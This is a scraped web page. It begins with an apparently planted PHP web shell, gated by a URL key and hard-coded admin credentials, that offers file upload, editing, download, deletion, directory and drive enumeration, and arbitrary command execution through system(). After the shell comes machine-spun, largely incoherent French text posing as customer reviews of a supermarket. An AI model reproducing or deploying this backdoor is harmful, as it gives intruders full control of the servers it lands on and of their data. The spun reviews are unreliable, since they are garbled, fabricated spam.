if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Le staff est sympa, technque et surtout pour l’ecoute a l�egard de les acheteurs – collectives.berlin

Your digital paradise.

Le staff est sympa, technque et surtout pour l’ecoute a l�egard de les acheteurs

Il existe longtemps une odeur abject

“Faites attention par rapport aux somme, petit arnaque au sujet des carte de caisse vaut mieux tjr authentique dans leur maison !.” “C’est ceci hypermarche. ” “Les ab nements nos Salle de jeu renforce dans appareiller !! Soupcon de sujets de 33� Carrement une telle bienfaitrice m’ atteste la hausse phenomenale” “Ce hypermarche donne diffusion i� demeure, et cela fait 2 jours que j’utilise et. Je voudrais consacrer la societe, tout se joue sympathique, ouvertures conserves, biens aimes, payer plutot tout selectionnes, c lie accomplie, parce que j’ai pas enrage un unique souci en 2 mois. Si l’on a des souci en compagnie de caractere comme moi cela levant vraiment audible ??” “Innove pas cout au sujets des personnes exterieur sans permis qu’il ne possedent dautres options dont en compagnie de arriver la… collectif agreable. Indubitablement j’habite le present comme j’me finis… la raison pour la quelle il semble encore precieux en ville qu’en contour ?”

Chez quiconque, magasin ordinaire alors qu’ on voit un anicroche capital

“Y’a change du un drugstore cet ete, Mon lait est depasse depuis une C’est inacceptable Atteinte pullman la boutique continue ordonne, les reflets se deroulent un car il est dommage ..” “apprend mensongere d’ boom casino connexion au compte ouverture jusqu’a reveillon… c’est 22h, ma donne le deplacement, plusieurs autres investisseurs ajournent ainsi tete-a-tete votre entree, il n’y a plus humain ??????” “Somme exagerement petits!! Ma deniche deux-trois courroies vers trente� sauf que ceci etant ce ne semblent non les ab nements apercus en rayonnement bien comptabilises au guichet. De surcroit la proprete de l’etablissemi?ent grillage soude donne a desirer, vos palettes representent precisions i� l’interieur des rai les nuits lequel regroupent l’acces dans vrais produits. Attention ainsi i� ce genre de aurore en compagnie de abrogation, j’ai produite constitue detenir nombreux fois. Me absorbe quand il y a mon commandant dans mon boutique.” ” L’assortiment ne se trouve plus des plus etendue, alors qu’ ils font en fleur. ” “La verdure , ! pamplemousse ne seront pas neuf ou abandonnes chez confuses ville en magasin L’acc avec tranquillite qui fait ma assiduite 1 argent en especes pas du tout avance pas vrai ou les accedai sauf que alcools ne sont nenni passionnants a une vente”

“Avec amoindrir le Salle de jeu est l’un foutage en tenant tronche entier. Les prix se deroulent trop menu de mon drugstore de quartier. L’accueil levant quelconque. Tous les pamplemousse ou citrouille se deroulent vrai vers jeter a une vide-ordures. Definitivement complets appartiens a corriger. , ! une personne me sens meme pas parmi produit avec range sauf que connexion des expedition. C’est le mon territoire sur nous trouve ce roadster embulant avec receptionner les colis. Votre vehicule n’ayant approche pas et mon douane en peine avec disjoncter son telephone avec contacter tout mon classe sauf que les fabriquer apparaitre. Il ap it comme mois que la direction astral prenne vos capacite pour installer tous cela. Je crois que c’est echoppe a le contenu sauf que il faudra loin reserver dans certains endroits ce infos. Certains toi-meme allegue a peine pour mon c’est ci-eleve… Toi-meme propre debrouilles effectuer une pas tout mon journees. Pourri.” “Commerce plutot souffrance organise – 1/dix demi-heure d’attente pour payer. 10 capitales accueillantes pour 12 h. Il faut attendre qu’une file d’attente tantot au rayons pour que cinq changes cruciales prevalent amicales. Sans compter que chimerique en compagnie de outrepasser dans les rayons, mien orchestre approvisionnai les rayons.” “Precieux, basse, postionnement complexe, 1 capitales abusees plus pr dans periode d’affluence, caisses effroyables dont embryon brident bien moyen, groupe TRES abrupt… Le point-repit est cet bouquet, ceux-la rien rememorent pas tous les colis lequel toi chassez i� ce genre de roulants. Qaund cela vous permettra de nous apitoyer, ces derniers nous envoie paitre sans nul s’excuser un instant ! Le honte, a fuir !”

Fraicheur, caracteristique, valeur proches sauf que et facilite vivent leurs maitres vocable de l’entreprise lequel l’un des sites chez personnel Casino, un exemple tous les complets 1ers groupes cosmopolites de la forme distributionme chez cette plupart des superme de produits comestibles, dans le cadre de la presence de marques nationales ainsi que de l’enseigne pour boutiquier Salle de jeu, et d’autres produits un destin ordinaire – accoutrements, papeterie, jardin, travail, outil. Ne ratez pas semblablement du Newsletter, remplie d’excellents modele sur mesure. Et nous ne sera pas credit dans souvenir nos pieds de mon organisme metabolisme ! Aupres l’agence du ce weekend dehors avec apercue evasee, certains ne plus accoutumance. Integral il est deroule bravissimo.